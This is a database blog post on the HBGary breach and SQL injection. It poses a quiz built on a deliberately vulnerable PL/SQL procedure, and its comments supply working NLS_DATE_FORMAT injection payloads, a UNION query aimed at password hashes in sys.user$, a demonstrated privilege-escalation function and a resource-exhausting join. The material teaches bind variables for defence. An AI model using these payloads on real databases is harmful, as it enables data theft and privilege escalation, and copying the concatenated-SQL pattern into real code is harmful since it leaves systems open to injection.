An Interesting Read...
I found this article on the 'security' firm HBGary to be very interesting.
Think about it - how many of the developers you work with would even know that bit of code was easily attacked? Not many in my experience (I wouldn't have seen it right off until just a few years ago by the way - no magic here...)
They were brought down by 'Anonymous' recently, in a completely embarrassing fashion (for a security firm, for sure).
What I found most interesting was how it all started and how easy it was....
It all started with a simple SQL Injection attack on their custom Content Management System (CMS). By finding a small exploit in that application, they gained access to the usernames and hashed passwords. Since the hashed passwords were neither salted, nor exceptionally well hashed - simple rainbow tables were used to figure out the (simple) passwords of a few power users. Once they had the passwords to the CMS - they then discovered some power users (at a security firm) liked to reuse their passwords over and over on many systems. That fact in turn gave them access to their email - where they discovered yet more passwords (sent in emails) - including the root password to a powerful internal machine. Given that information - and improper ssh configuration - they were able to "socially engineer" (over email) remote access to this machine - to which they now had root... And that was the end of that.
An internet security firm - brought down - by not following the most *basic* of security principals.
And all because of - SQL Injection... If you don't use bind variables - you are susceptible to it. If you accept input from an end user and concatenate it into your SQL, you are subject to SQL Injection. If you use bind variables - if you do not dynamically construct your SQL at runtime - you are not subject to it. It is that simple.
I say this a lot:
"it is much harder to write code that doesn't use binds than it is to write code that uses binds".
To which I get a lot of confused stares - for all of the developers "know" that if they use binds - they have to write MORE code - not less. And MORE = harder -right?
Wrong, 100% wrong. If you do not use binds, you have to write more code than if you use them. The code you have to write is the code to ensure with 100% degree of certainty that your inputs from the end user are valid, are safe, will not subject you to SQL Injection. And that is non-trivial. The real kicker is - after you write that code - you better submit it for review to at least five people that do not like you (that last bit is important). They have to be SUPER critical of the code and subject it to rigorous review.
As a quick test - see if you can
- determine how the following bit of code can be attacked
- what might be the outcome of this attack - what might be compromised on your server if this code were attacked, what could they do with it?
- how to best protect against that attack
- how else - short of the "best" - would you protect against the attack
I'll post my answers to 1-4 tomorrow or the next day.
create or replace procedure inj( p_date in date )
as
l_rec all_users%rowtype;
c sys_refcursor;
l_query long;
begin
l_query := '
select *
from all_users
where created = ''' ||p_date ||'''';
dbms_output.put_line( l_query );
open c for l_query;
for i in 1 .. 5
loop
fetch c into l_rec;
exit when c%notfound;
dbms_output.put_line( l_rec.username || '.....' );
end loop;
close c;
end;
Think about it - how many of the developers you work with would even know that bit of code was easily attacked? Not many in my experience (I wouldn't have seen it right off until just a few years ago by the way - no magic here...)


24 Comments:
Changing nls_date_format to include "OR" condition (with always true e.g. '1'='1') should be enough to break this code.
SQL> exec inj(sysdate);
select *
from all_users
where created = '16-FEB-11'
PL/SQL procedure successfully completed.
SQL> alter session set nls_date_format='DD "''or ''1''=''1"';
Session altered.
SQL> exec inj(sysdate);
select *
from all_users
where created = '16 'or '1'='1'
FLASH2.....
FLASH.....
MGMT_VIEW.....
SYSMAN.....
MANOJ.....
PL/SQL procedure successfully completed.
SQL>
I agree with the above, but replace the 'or 1=1' with 'union ...' and the attacker can see any data available to this process.
The best way to protect the code would be to not use dynamic sql, or if you had to then use bind variables properly and explicit datatype conversions.
create or replace procedure inj( p_date in date )
as
l_rec all_users%rowtype;
c sys_refcursor;
l_query long;
begin
l_query := '
select *
from all_users
where trunc(created) = to_date(:1, ''mm/dd/yyyy'')';
dbms_output.put_line( l_query );
open c for l_query using to_char(p_date, 'mm/dd/yyyy');
for i in 1 .. 5
loop
fetch c into l_rec;
exit when c%notfound;
dbms_output.put_line( l_rec.username || '.....' );
end loop;
close c;
end;
Indeed, this code is easily attacked via NLS_DATE_FORMAT, but ONLY if you have the ALTER SESSION privilege, right...? Wrong! Just set your NLS_DATE_FORMAT environment variable to the desired string before connecting and Oracle Client will set session NLS parameters on your behalf even if you don't have the privilege.
1.
a) aLter session set nLs_date_format='"''or 1=1--';
(as Anonymous pointed out) will list 5 usernames. Add an 'order by dbms_random.value' before the dashes to get a random set of five. Repeat until satisfied.
Use 'order by 1 asc/desc' to get the first/last 5 alphabetically.
Use 'order by 3' to get the ones created with the database - telling you which standard passwords to try.
b) aLter session set nLs_date_format='"''Union seLect password,1,ctime from User$--"';
on the odd chance that the owner of the procedure is SYS
c) aLter session set nLs_date_format='"''Union seLect func,1,to_date('''') from dUaL--"';
assuming there is a function named func which you want to run as the owner of the procedure.
These are the ones I could come with.
This would have been much more fun if it wasn't for ORA-01801: date format is too long for internal buffer
2. See 1. It depends - if the owner is SYS I could get password hashes and all kinds of data from the dictionary tables (which have short names, thankfully) and run functions with side effects...
3. use static SQL
4. In order of preference:
a) use dynamic SQL with binds
b) use explicit conversion, as in
'...
created = to_date('''||to_char(p_date,'RRRRMMDD')||''',''RRRRMMDD'')';
Cheers!
Flado
@Vladimir
you do not need alter session for setting your NLS_DATE_FORMAT - you only need alter session for "powerful" things like "sql_trace=true", but not for nls_date_formats!
@Thomas Kyte
Overlooked that, thanks.
I thought of another possible attack - what if I were to create a function in my own schema with invoker's rights, then have the procedure call it directly or via a short public synonym (see my 1. c) above) - I could do anythig in that function, using dynamic SQL, as the owner of the procedure :-)
I'm away from a database right now, so I cannot test that approach, sorry.
Cheers!
Flado
Yes, it works. Running these as "baduser" allows it to do anythnig that the owner of the INJ procedure can (in the example, list the objects owned by injuser):
create or replace function func return varchar2 authid current_user is
x sys_refcursor;
l_oname varchar2(4000);
begin
open x for 'select object_name from user_objects';
loop
exit when x%NotFound;
fetch x into l_oname;
dbms_output.put_line(l_oname||'<<<<');
end loop;
return 'Gotcha!';
end;
/
grant execute on func to injuser;
aLter session set nls_date_format='"''or(select baduser.func from dual)=''--"';
exec injuser.inj(sysdate)
So, with nothing more than "create session", "create procedure" and "execute on injuser.inj", a bad user can escalate its privileges to these of the owner of the vulnerable procedure.
Wow.
What’s Infobright’s sync behaviour? If it forces sync after each transaction (as is the default setting in InnoDB), then that could be rather slow on an Amazon machine if the transactions are small or implicit; Amazon’s service doesn’t deal with high IO rates too well.
Tom,
With regard to the alter session permissions, don't you think parallel operations should be classified in that dangerous category of stuff you need grants for? As you and John have written, parallelism is by definition non-scalable. Someone could bring a machine to it's knees just by being able to connect/select.
-Alex
@Alex
all i need is create session and I can bring a system to its knees.
I'll just fire off select count(*) from all_objects, all_objects, all_objects, all_objects, all_objects, all_objects, all_objects, all_objects, all_objects, all_objects;
20 times and go home.
You have the resource manager to combat this - it is about resource management.
Really? From my experience Oracle is really good about managing resources across sessions. I thought the whole dedicated server process thing kept what you're suggesting from happening (for the most part, I've seen 6 horrifying Hyperion reports simultaneously hose a database).
-Alex
@Alex
we are good about managing resources IF you use the resource manager - and that would encompass the parallel sessions as well.
those 20 sessions I said I'd fire off are worse than your six most horrifying Hyperion reports :) But your accounting of the six Hyperion reports is exactly what I was trying to describe - you don't need parallel to crush a machine
This comment has been removed by the author.
When I said I'd fire it off 20 times, I meant 20 concurrent times - I was going to run 20 of them at the same time. Sorry for the confusion
Well, I guess I'll have to explain the deleted post now - I only wrote it because I overlooked the "20 times" part. Re-reading after I posted showed how irrelevant my comment has been so I deleted it. My bad. Sorry about that.
A lot of fuss for nothing.
The rule is very simple - if you do not use bind variables just properly quote data that you concatenate in your statement ("properly" here means duplicate quotes inside that data - no rocket science).
@alo
you must not have read this article - there was nothing to "quote" in the above. there is more than one way to sql inject.
Also, it isn't as easy as you say - which sort of proves the POINT.
Say in the application you have:
select * from t where x = &1
and you will be concatenating in a supplied value for &1 (x is a number by the way)
And I send to you value "10"
where x = 10
perfect. But then I send to you the value "my_schema.my_function_that_returns_a_number"
now you get
where x = my_schema.my_function...
and my_function is something I wrote, similar to:
http://tkyte.blogspot.com/2011/02/interesting-read-followup.html
If you think that by simply quoting strings you have solved the problem - you are being naive and are part of the problem. There are two examples right here that show it isn't that straight forward.
Now, challenge to you - show me how you can sql inject while using binds (you cannot - you would not be able to show such an example) - whereas I just gave you two examples whereby your "quote the inputs" (the input was a date - nothing to be "quoted", the input was a owner.function - nothing to be quoted - the inputs DOES NOT NEED to contain quotes to be dangerous....)
Fact is: if you do not use binds, you are subject to sql injection attacks - and your code must be inspected infinitely more closely than code that uses binds - and must be inspected by people that don't trust you at all as a coder so they do it critically.
If avoiding sql injection was so trivial as you make it to be - why is it the #1 one to attack an application???
Yes, input does not need to contain quotes - but if I always quote input (and quote it correctly) it always will be a string literal concatenated into my statement.
So I do not care if it is a name of the user-written function or whatever else - as it will be treated as literal and the function never would be called.
It is a number? No problem, I anyway concatenate it as a string literal. In the worst case I would have the invalid number exception - but no security breach. Dates as well make no difference.
I agree that in most cases bind variables are better solution - but not always
I anyway concatenate it as a string literal.
ugh, that is just about the ugliest thing I've heard. Implicit conversions all over the place - or you force the need to code explicit conversions everywhere.
Which just makes is "plain harder and harder"
And you have to make sure you do it right every single time - from start to finish.
And you have to still have your code picked over - time after time - just to make sure.
Which makes me really wonder "why, why would anyone pick a method that is subject to attack, that must be carefully coded around - instead of the simple, scalable, secure, bullet proof approach?"
Really makes me wonder.
All in all - the number of breaches would drop by an incredible amount - if people just used the simple, safe, secure, performant, straight forward approach.
As for conversions - yes, you are right. but conversions should be explicit anyway. Moreover, if an application runs in a predefined, well-controlled environment it may even rely on implicit conversions.
And you have to make sure you do it right every single time
No, once only - have you ever heard about AOP?
And yes, I agree (as I have already written) that bind variables should be a method of choice - when possible. The problem is that in many cases you need to add conditions dynamically (yes, sometimes you may avoid it because optimizer would be to exclude some conditions - but sometimes is not always).
@alo
what I'm specifically taking issue with here is your original post:
A lot of fuss for nothing.
The rule is very simple - if you do not use bind variables just properly quote data that you concatenate in your statement ("properly" here means duplicate quotes inside that data - no rocket science).
It is a lot of fuss for SOMETHING.
It is important.
You came and made it sound like "don't bind, just quote"
When just quoting is only 1% of the story. You make assumptions - such as "all developers are as diligent as I", "all developers are as aware of the issue as I", "all of the developers use the same methodologies as I"
And worst of all - it isn't just "duplicate quotes", there was much left unsaid - such as
o all literals will always be strings - because it doesn't work otherwise (you are forcing a style on your sql coding - a rather 'different' one)
o you must explicitly code all conversions (which gets you into QUOTE HELL -
string = string || 'to_number( ' || magicquotefunction(user_input) || ', ''9999.99'' ) ';
and the like...
o you must use a methodology that 100% of the time ensures that you always use this 'technique'
rather than just
o use binds, use whatever native datatype makes sense, use native straight sql - with or without conversions as needed.
Only why you need to use a literal - such as in a data warehouse application, an infrequently executed report - should you consider not binding - and then that code should be reviewed by five people that don't trust you - because we all make mistakes - no matter how good you are.
if you do not use bind variables
does not mean do not use bind variables.
An intended meaning was if you for some compelling reason do not use bind variables. Sorry for not making it more explicit.
And yes, the danger of SQL-injection is (from my point of view) highly overestimated, it can countered be quite easily, this why I said nothing.
And you as well make assumptions - bind variables cover 100% of cases (nope - 95% or even 98%, but not 100%). And my post was for these 2% or 5% of cases - as previous discussion gave an (false) impression that bind variables is the only solutions and if you do not use them (does not matter, why) you are completely vulnerable.
To be honest I think that these sort of vulnerabilities are always going to be abundant. I think that the general quality of IT 'professionals' is so low that there is zero chance of ever eradicating sql injection vulnerabilities. The BBC carried a story about an attack today ...
http://www.bbc.co.uk/news/technology-12933053
POST A COMMENT
<< Home